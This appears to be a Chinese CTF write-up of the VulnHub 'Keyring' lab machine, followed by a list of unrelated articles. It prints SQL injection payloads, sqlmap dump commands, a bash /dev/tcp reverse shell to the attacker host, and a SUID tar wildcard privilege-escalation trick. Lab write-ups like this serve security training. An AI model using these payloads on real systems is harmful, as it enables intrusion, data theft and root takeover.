vulnhub靶场【IA系列】之Keyring

news/2025/1/17 4:36:18/

前言

靶机:IA-Keyring,IP地址为192.168.10.11

攻击:kali,IP地址为192.168.10.2

都采用虚拟机,网卡为桥接模式

文章中涉及的靶场以及相关工具,放置在网盘中,链接https://pan.quark.cn/s/55d71f3e14c9

主机发现

因为是下载靶机到本地,所以是同一局域网,同一网段,同一网卡下,所以为求速度可以使用arp-scan -lnetdiscover -r 192.168.10.1/24

若想要模拟真实环境,可以使用nmap

信息收集

使用nmap扫描端口

网站信息探测

访问80端口网站,可以看到是登录和注册,查看页面源代码,当点击login时,会跳转到login.php

这是login.php的界面

尝试注册一个用户test进行测试,注册成功会有弹窗,用户注册成功

若注册的用户已存在,会提示弹窗,用户已经被注册过

已注册成功的test登录,查看登录后有什么东西,查看页面源代码,这四个功能对应四个php文件

访问control时,出现一段话,感觉像是提示一样

使用gobuster爆破一下目录,发现大致一样

漏洞寻找

访问history.php,没有返回内容,不过经过测试,history是检验当前是否有用户处于登录状态的,也就是是否有用户是活跃状态的,这里当以test注册并登录后,再点击logout,这时候再去观察history,发现有内容了

那么这里肯定检测了,检测的方式呢,估计是cookie,毕竟之前我在未注册用户test的时候,访问这里是没有任何内容的,但是注册了test然后登录后,就有了这个信息。

在前面的时候,忘了放置一张图,这里再放置,这里我打字错了,是记录每一个活动

既然是记录了活动,那么假设这个php还可以查询具体用户的记录呢

不管如何,就假设这里是通过传参接收用户名进行的检测,也就是http://192.168.10.10/history.php?FUZZ=test,这个FUZZ就是可能存在的传参名,接收test用户名,以burp测试有无cookie时,这个信息的显示情况

13

可以确定,是检测cookie的,并且这个cookie是在用户登录状态时生效。

那么在进行ffuf测试的时候,可能就需要使用到cookie,这里cookie的获取可以直接从浏览器的开发者工具获取,或者这里的burp,再或者使用curl也是可以获取到cookie

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.10/history.php?FUZZ=test -fs 0 -b "PHPSESSID=bp3ie1j20iek5bpjc3f3gibabs"

漏洞利用

获取参数user,那么测试会给出什么信息,指定user=test,发现这和登录时点击的功能点相似

再次指定已经注册过的用户进行测试,当然默认的admin都挺多的,并且前面的时候我测试过,在注册界面,若已注册会弹窗提示的。

指定user=admin,给出一个链接,估计可能是源码泄露了

信息泄露

访问地址,并访问其中的每个文件,发下每个文件都有数据库信息,这是作者怕忘了吗。

只有control这个,有system()函数,并且还注释到,这是不安全的函数

整理这里获取的信息,首先是数据库

用户名密码数据库
rootsqluserrootpassw0r4users

然后是接收的get参数cmdcntr

那么测试在control.php这个参数是否可行,但是测试发现以test用户无法触发,说明需要获取admin的密码

sql注入

那么当前可利用的点只有history,这里知道参数的,而且根据前面信息给出的数据库,猜测可能存在sql注入,尝试以'闭合,发现信息没了,有可能

history.php?user=admin'
history.php?user=admin' or 1=1--+

最终对比,存在sql注入的

测试,还可以进行union查询,这里可以手工,也可以sqlmap,这里直接展示最终的手工注入命令

http://192.168.10.10/history.php?user=admin' union select concat(name,password) from details--+

然后再用sqlmap测试,存在sql注入,这里还是需要以登录状态的,所以cookie要加上

sqlmap -u "http://192.168.10.10/history.php?user=admin" --cookie="PHPSESSID=bp3ie1j20iek5bpjc3f3gibabs"

然后再把所有数据下载

sqlmap -u "http://192.168.10.10/history.php?user=admin" --cookie="PHPSESSID=bp3ie1j20iek5bpjc3f3gibabs" --dump

命令执行反弹shell

admin和获取的密码直接登录,然后去测试crontal.php界面

http://192.168.10.10/control.php?cmdcntr=id

命令执行了,那么就构造一个反弹shell,需要先在kali中使用nc开启监听9999端口

/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.2/9999 0>&1'
#经过URL编码处理一下
/bin/bash+-c+'bash+-i+>%26+/dev/tcp/192.168.10.2/9999+0>%261'

使用前面从数据库中查询到的john的密码Sup3r$S3cr3t$PasSW0RD进行测试,发现可以登录,一码多用啊

查看john家目录下的flag

使用find寻找具有SUID权限文件,发现当前目录下就有一个

find / -perm -4000 -print 2>/dev/null

tar 文件名提权

发现文件为可执行文件,并且是相当于tar命令

还是下载这个文件到kali中,然后分析

把当前目录下的所有文件,压缩至archive.tar

那么根据这个尝试构造文件名,使得在进行压缩的时候,进行一个连接匹配,导致语句的执行

一般tar的suid提权大概是下面这样

/bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

主要构造后面两个即可,当然如果是执行语句,构造很长也是可行的,毕竟是以suid权限执行。不过最好是复制/bin/bashtmp,并给予suid权限,这可是一个可维持长时间的

构造语句

#都是在同一目录下,也就是可执行文件compress同级目录
echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

执行compress,可以发现在/tmp下已经有了一个suid权限的bash

切换到/tmp目录下,然后执行当前目录下的bash,即可获取root权限

总结

该靶场考察以下几点:

  1. 对于登录时的一些逻辑,比如这里的history就是通过cookie进行检验,所以在遇到可注册的界面时,都要去测试,最好是抓包测试
  2. 参数污染,根据逻辑去模糊测试
  3. 信息泄露,在github上找到源码
  4. sql注入,考察登录后的sql注入,并且是字符型
  5. 一码多用的情况
  6. tar的SUID提权 ,主要就是*这个危险,导致把文件名变为可提权的命令

http://www.ppmy.cn/news/1563790.html

相关文章

安全开发 javaEE应用 servlet 路由技术 生命周期 JDBC数据库操作

前言 什么是javaEE ? javaEE就是基本的企业开发语言 什么是servlet(翻译是小服务程序 或者 是服务连接器) 就是本地服务器和http协议的中间件 Servlet 路由 Servlet是运行在Web服务器或应用服务器上的程序,它是作为来自Web浏览器或其他HTTP客户端的请求和HT…

算法15、双指针(归并排序两种做法)

🌰1、two-Sum严格递增序列 晴问算法 因为是有序的序列(严格递增)所以可以考虑用二分查找的思路! 二分查找变体版-双指针。 因为严格递增的序列特性,让i, j(或者left, right)的枚举互相牵制,因而我们可以…

AI大模型开发—1、百度的千帆大模型调用(文心一言的底层模型,ENRIE等系列)、API文档目的地

文章目录 前言一、千帆大模型平台简介二、百度平台官网初使用1、平台注册和使用2、应用注册 并 申请密钥3、开启千帆大模型 API调用a、API文档b、 前言 本章旨在为读者奉献一份实用的操作指南,深入探索如何高效利用百度千帆大模型平台的卓越功能。我们将从账号注册…

使用Redis防止重复发送RabbitMQ消息

问题 今天遇到一个问题,发送MQ消息的时候需要保证不会重复发送,注意不是可靠到达(可靠到达可以通过消息确认机制和回调接口保证),这里保证的是不会生产多条一样的消息。 方法 综合讨论下来决定使用Redis缓存来解决&…

Linux中安装mysql8,很详细

一、查看系统glibc版本号,下载对应版本的MySQL 1、查看glibc版本号办法 方法一:使用ldd命令 在终端中输入ldd --version命令,然后按下回车键。这个命令会显示系统中安装的glibc版本号。例如,如果输出信息是ldd (GNU libc) 2.31&a…

AV1视频编解码简介、码流结构(OBU)

我的音视频/流媒体开源项目(github) 目录 一、AV1编码技术 二、AV1码流结构(OBU) 三、IVF文件格式 四、ffmpeg支持AV1 五、关于常见格式对AV1的封装 一、AV1编码技术 AV1是由开放媒体联盟(AOM,Alliance for Open Media)在2018年发布的,AV1的前身…

shell脚本练习(5)

一、需求:判断192.168.121.0/24网络中,当前在线的ip有哪些,并编写脚本打印出来。 [rootopenEuler-1 script]# cat exist_IP.sh #!/bin/bash ######################### #File name:exist_IP.sh #Email:obboda163.com #Created time:2025-01-…

AI语音机器人大模型是什么?

AI语音机器人的大模型通常是指具有庞大参数规模和复杂结构的深度学习模型,这些模型能够处理大量数据并从中学习复杂的模式和关系,从而在语音识别、自然语言处理、语音合成等任务上表现出色。以下是AI语音机器人中大模型的具体介绍: 1.大模型…